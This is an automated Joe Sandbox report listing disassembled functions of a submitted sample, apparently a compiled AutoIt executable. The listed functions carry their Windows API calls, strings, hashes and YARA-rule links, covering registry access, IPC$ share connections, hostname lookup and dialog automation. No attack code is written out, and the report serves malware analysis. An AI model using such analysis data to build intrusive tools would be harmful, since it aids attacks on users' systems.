Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 5bd13904e84963489be425dfd660c2dc13fb2c151e7ded0e9db6e5946cdbc5b8
Instruction ID: 9564fca4adc6d706f3a4d0af48cda8b7be437c398fb12a3ae8afcea99d9aab50
Opcode Fuzzy Hash: 5bd13904e84963489be425dfd660c2dc13fb2c151e7ded0e9db6e5946cdbc5b8
Instruction Fuzzy Hash: A5515875904209EFCB24CFA8CC84EAFBBB9EF49310F14852EF95997221C735A845CB54

Function 00436A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00450957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00436B0C,?,00008000), ref: 00450973

Part of subcall function 00434750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00434743,?,?,004337AE,?), ref: 00434770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00436BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00436CFA

Part of subcall function 0043586D: _wcscpy.LIBCMT ref: 004358A5

Part of subcall function 0045363D: _iswctype.LIBCMT ref: 00453645

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 0046E496
AU3!, xrefs: 00436B61
EA06, xrefs: 0046E452
Unterminated string, xrefs: 0046E7E4
Error opening the file, xrefs: 0046E43D, 0046E4B8
Bad directive syntax error, xrefs: 0046E79D
#include depth exceeded. Make sure there are no recursive includes, xrefs: 0046E421

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: fca0bbf7b00fcdd0c0b21f148dd9170504978468ac145ccc767b93035e1bfddd
Instruction ID: 3e2d1a7d025324bd6ba8941fd8a84b760951e72e4ab90c6e1ffcb07a29f3e56c
Opcode Fuzzy Hash: fca0bbf7b00fcdd0c0b21f148dd9170504978468ac145ccc767b93035e1bfddd
Instruction Fuzzy Hash: 3D02AF741083419FC724EF26C8819AFBBE5AF98318F10491FF485972A1DB38D949CB5B

Function 00492D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00492D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00492DDD
GetMenuItemCount.USER32(004F5890), ref: 00492E66
DeleteMenu.USER32(004F5890,00000005,00000000,000000F5,?,?), ref: 00492EF6
DeleteMenu.USER32(004F5890,00000004,00000000), ref: 00492EFE
DeleteMenu.USER32(004F5890,00000006,00000000), ref: 00492F06
DeleteMenu.USER32(004F5890,00000003,00000000), ref: 00492F0E
GetMenuItemCount.USER32(004F5890), ref: 00492F16
SetMenuItemInfoW.USER32(004F5890,00000004,00000000,00000030), ref: 00492F4C
GetCursorPos.USER32(?), ref: 00492F56
SetForegroundWindow.USER32(00000000), ref: 00492F5F
TrackPopupMenuEx.USER32(004F5890,00000000,?,00000000,00000000,00000000), ref: 00492F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00492F7E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: def8f307c36392f70dbaae0a8e6c729584f1499c8b5c7309b1fc26b85c0b5e30
Instruction ID: 723434facf599a0d59b87035b3182a11987e658f6349be3816acea515734af49
Opcode Fuzzy Hash: def8f307c36392f70dbaae0a8e6c729584f1499c8b5c7309b1fc26b85c0b5e30
Instruction Fuzzy Hash: 0E71D270640205BBEF219F55DD85FAABF64FB04324F100237F619A62E1C7F96824DB99

Function 004A88AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004A88D7
CoInitialize.OLE32(00000000), ref: 004A8904
CoUninitialize.OLE32 ref: 004A890E
GetRunningObjectTable.OLE32(00000000,?), ref: 004A8A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 004A8B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,004C2C0C), ref: 004A8B6F
CoGetObject.OLE32(?,00000000,004C2C0C,?), ref: 004A8B92
SetErrorMode.KERNEL32(00000000), ref: 004A8BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004A8C25
VariantClear.OLEAUT32(?), ref: 004A8C35

Strings

,,L, xrefs: 004A88C1

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID: ,,L
API String ID: 2395222682-2286747779
Opcode ID: 33fd3316faaa3e1e026b07633174f26bd70b5b57b9cefad690e8560809898d64
Instruction ID: 8ddb8eb93558f2b1eb38f1fb0cc6c0126b17f7be908824cd0f1f82e32da4afcc
Opcode Fuzzy Hash: 33fd3316faaa3e1e026b07633174f26bd70b5b57b9cefad690e8560809898d64
Instruction Fuzzy Hash: 31C159B1604305AFD700EF69C88492BB7E9FF89348F00492EF8899B251DB75ED06CB56

Function 004877DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

_memset.LIBCMT ref: 0048786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004878A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 004878BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 004878D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00487902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 0048792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00487935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0048793A

Strings

\IPC$, xrefs: 00487882
SOFTWARE\Classes\, xrefs: 0048780C
\CLSID, xrefs: 00487822

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 936e9f980f97b6eb3157bde3515116a7ba79be5e9b0ce221c4f74ee5bc9f72d8
Instruction ID: f85230890a134429dada4fd1f803fe06b5a475c2f3d057ee0abcfb2bddb49935
Opcode Fuzzy Hash: 936e9f980f97b6eb3157bde3515116a7ba79be5e9b0ce221c4f74ee5bc9f72d8
Instruction Fuzzy Hash: BD411CB2C14229ABDF21EFA5DC95DEEB778BF08314F00552AF805A3261DB389D04CB94

Function 004B0E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,004AFDAD,?,?), ref: 004B0E31

Strings

HKEY_CURRENT_USER, xrefs: 004B0F10
HKEY_USERS, xrefs: 004B0F32
HKU, xrefs: 004B0F43
HKEY_CURRENT_CONFIG, xrefs: 004B0EEE
HKCR, xrefs: 004B0ED9
HKCC, xrefs: 004B0EFF
HKCU, xrefs: 004B0F21
HKEY_CLASSES_ROOT, xrefs: 004B0EC4
HKLM, xrefs: 004B0EAF
HKEY_LOCAL_MACHINE, xrefs: 004B0E9A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 6a60fbb1e7d73f22319137d5a5561f2ef5df4a04efe7c18cc5cd5da80cb3733a
Instruction ID: b0c8838b39500910429bac7da14d8ce978a8c4a296f69f762a7d58b980cee562
Opcode Fuzzy Hash: 6a60fbb1e7d73f22319137d5a5561f2ef5df4a04efe7c18cc5cd5da80cb3733a
Instruction Fuzzy Hash: 5C41387520424A8BCF20EF12D855AFF3760AF2530AF14445AFC551B292DB7C9D1ACBA8

Function 0048F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0046E2A0,00000010,?,Bad directive syntax error,004BF910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 0048F7C2
LoadStringW.USER32(00000000,?,0046E2A0,00000010), ref: 0048F7C9

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

_wprintf.LIBCMT ref: 0048F7FC
__swprintf.LIBCMT ref: 0048F81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0048F88D

Strings

Error: , xrefs: 0048F85B
%s (%d) : ==> %s.: %s %s, xrefs: 0048F7F7
Line %d:, xrefs: 0048F818
., xrefs: 0048F873
Line %d (File "%s"):, xrefs: 0048F833

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 35c52806403f3bef034c2b6f0d1d95cf7efc62e330108b8406974834e800e7b2
Instruction ID: a6df5ee64d5daf32af2fe6e6629bc9dc25dc20675bad8bb3b85ac66f79511aa0
Opcode Fuzzy Hash: 35c52806403f3bef034c2b6f0d1d95cf7efc62e330108b8406974834e800e7b2
Instruction Fuzzy Hash: CA216172910219EBCF12EF91CC4AEEE7739BF18315F04086FB509660A2DA399618DB59

Function 004952C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

Part of subcall function 00437924: _memmove.LIBCMT ref: 004379AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00495330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00495346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00495357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00495369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0049537A

Strings

close PlayMe, xrefs: 00495341, 0049536E
play PlayMe wait, xrefs: 00495364
status PlayMe mode, xrefs: 0049532B
play PlayMe, xrefs: 00495375
open , xrefs: 004952DF
alias PlayMe, xrefs: 00495309

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 7c6dfc13fb0ee9333cd4b9e87a2ec3c014619453dd71bad3be3007eb865fab00
Instruction ID: 22cbe2b56277fbd40800c485d26c42913dcaad1d88cefed8a2fe673d43c43e7a
Opcode Fuzzy Hash: 7c6dfc13fb0ee9333cd4b9e87a2ec3c014619453dd71bad3be3007eb865fab00
Instruction Fuzzy Hash: 6C11936095015979DB30B673CC4AEFF7B7CEBD5B44F20042FB805920D1DEA80D44C668

Function 004946B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 004946D2
gethostname.WSOCK32(?,00000100), ref: 004946EC
gethostbyname.WSOCK32(?), ref: 004946F9
_wcscpy.LIBCMT ref: 00494721
_memmove.LIBCMT ref: 00494734
inet_ntoa.WSOCK32(?), ref: 0049473F
_strcat.LIBCMT ref: 0049474D
_wcscpy.LIBCMT ref: 00494764
WSACleanup.WSOCK32 ref: 00494772
_wcscpy.LIBCMT ref: 00494780

Strings

0.0.0.0, xrefs: 0049471B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 2b29d1e44a0772427a95b650ad67cebf567675d76436b1b760cc1be3a436bbb0
Instruction ID: 63f9e1216dddc9093f5ba13a4df3f9a0fd642798378b76ed77554181cc885c8b
Opcode Fuzzy Hash: 2b29d1e44a0772427a95b650ad67cebf567675d76436b1b760cc1be3a436bbb0
Instruction Fuzzy Hash: 5D1108315001086BCF10AB71DC46EDA7BBCDB86716F1002FBF84996152EF788A8A8A58

Function 00494F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00494F7A

Part of subcall function 0045049F: timeGetTime.WINMM(?,75A4B400,00440E7B), ref: 004504A3

Sleep.KERNEL32(0000000A), ref: 00494FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00494FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00494FEC
SetActiveWindow.USER32 ref: 0049500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00495019
SendMessageW.USER32(00000010,00000000,00000000), ref: 00495038
Sleep.KERNEL32(000000FA), ref: 00495043
IsWindow.USER32 ref: 0049504F
EndDialog.USER32(00000000), ref: 00495060

Strings

BUTTON, xrefs: 00494FDE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 01fe271423366aa7219fee6b9116fa53b20dfe68c26053080f85e615f6f1d0dc
Instruction ID: 747e1e6ebf0c57fd439715426f5a93b8a552347d75339226df7a7ca21dd1ac15
Opcode Fuzzy Hash: 01fe271423366aa7219fee6b9116fa53b20dfe68c26053080f85e615f6f1d0dc
Instruction Fuzzy Hash: 4221CF70205601BFEB215F20FC89E363F69EB45349B15223AF509922B5CB258D25CB6E

Function 0049D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

CoInitialize.OLE32(00000000), ref: 0049D5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0049D67D
SHGetDesktopFolder.SHELL32(?), ref: 0049D691
CoCreateInstance.OLE32(004C2D7C,00000000,00000001,004E8C1C,?), ref: 0049D6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0049D74C
CoTaskMemFree.OLE32(?,?), ref: 0049D7A4
_memset.LIBCMT ref: 0049D7E1
SHBrowseForFolderW.SHELL32(?), ref: 0049D81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0049D840
CoTaskMemFree.OLE32(00000000), ref: 0049D847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0049D87E
CoUninitialize.OLE32(00000001,00000000), ref: 0049D880

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: a374e97532b16924ce46ca064431deff9d389296348ea41f7133857c726dd745
Instruction ID: c50fce7bf9d91325d01810b9ae43b9651b7c82db9270897ed81526a731190bdb
Opcode Fuzzy Hash: a374e97532b16924ce46ca064431deff9d389296348ea41f7133857c726dd745
Instruction Fuzzy Hash: 73B11C75A00109AFDB04DFA5C884DAEBBB9FF48304F1485AAF909EB261DB34ED45CB54

Function 0048C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0048C283
GetWindowRect.USER32(00000000,?), ref: 0048C295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0048C2F3
GetDlgItem.USER32(?,00000002), ref: 0048C2FE
GetWindowRect.USER32(00000000,?), ref: 0048C310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0048C364
GetDlgItem.USER32(?,000003E9), ref: 0048C372
GetWindowRect.USER32(00000000,?), ref: 0048C383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0048C3C6
GetDlgItem.USER32(?,000003EA), ref: 0048C3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0048C3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 0048C3FE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: d4c11964ac083952f85d36bb5124cf1026eb255012f6bf1011ae19488484b701
Instruction ID: 732b67c96382c078a5d8c15b649db4122c3a4124afa6f6d102c309c124cc9ddb
Opcode Fuzzy Hash: d4c11964ac083952f85d36bb5124cf1026eb255012f6bf1011ae19488484b701
Instruction Fuzzy Hash: ED518071B00205AFDB08DFB8DD89AAEBBB6EB88310F14863DF909D7290D7709D058B14

Function 0043201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00431B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00432036,?,00000000,?,?,?,?,004316CB,00000000,?), ref: 00431B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 004320D3
KillTimer.USER32(-00000001,?,?,?,?,004316CB,00000000,?,?,00431AE2,?,?), ref: 0043216E
DestroyAcceleratorTable.USER32(00000000), ref: 0046BCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,004316CB,00000000,?,?,00431AE2,?,?), ref: 0046BCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,004316CB,00000000,?,?,00431AE2,?,?), ref: 0046BCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,004316CB,00000000,?,?,00431AE2,?,?), ref: 0046BD0A
DeleteObject.GDI32(00000000), ref: 0046BD1C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: f6ec999343867c35bd6b91e5a7b56598614890a67f76569c0f483601ded439db
Instruction ID: 2587c9c70917d8800456710b829310d28c9f2d1f3d081665827f4c103da75067
Opcode Fuzzy Hash: f6ec999343867c35bd6b91e5a7b56598614890a67f76569c0f483601ded439db
Instruction Fuzzy Hash: B8617F30100A10DFCB29AF15DE48B2A77F1FB44315F50953EE6428A670D7B8A8A5DB99

Function 004321A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 004325DB: GetWindowLongW.USER32(?,000000EB), ref: 004325EC

GetSysColor.USER32(0000000F), ref: 004321D3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 205f7d6e263c52f9b304e55d9acb75771ec56a8f4f8766a35445986154812256
Instruction ID: c11efd2f2817f6c8e4ee9b50b5b1722f7bc3a5747d3fcc9f93d4093488074c78
Opcode Fuzzy Hash: 205f7d6e263c52f9b304e55d9acb75771ec56a8f4f8766a35445986154812256
Instruction Fuzzy Hash: 5A41B331000640EBDB255F28DD88BBA3B65EB0A331F1453B6FE658A2E2D7758C42DB59

Function 0049A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,004BF910), ref: 0049A90B
GetDriveTypeW.KERNEL32(00000061,004E89A0,00000061), ref: 0049A9D5
_wcscpy.LIBCMT ref: 0049A9FF

Strings

all, xrefs: 0049A911
fixed, xrefs: 0049A953
removable, xrefs: 0049A93D
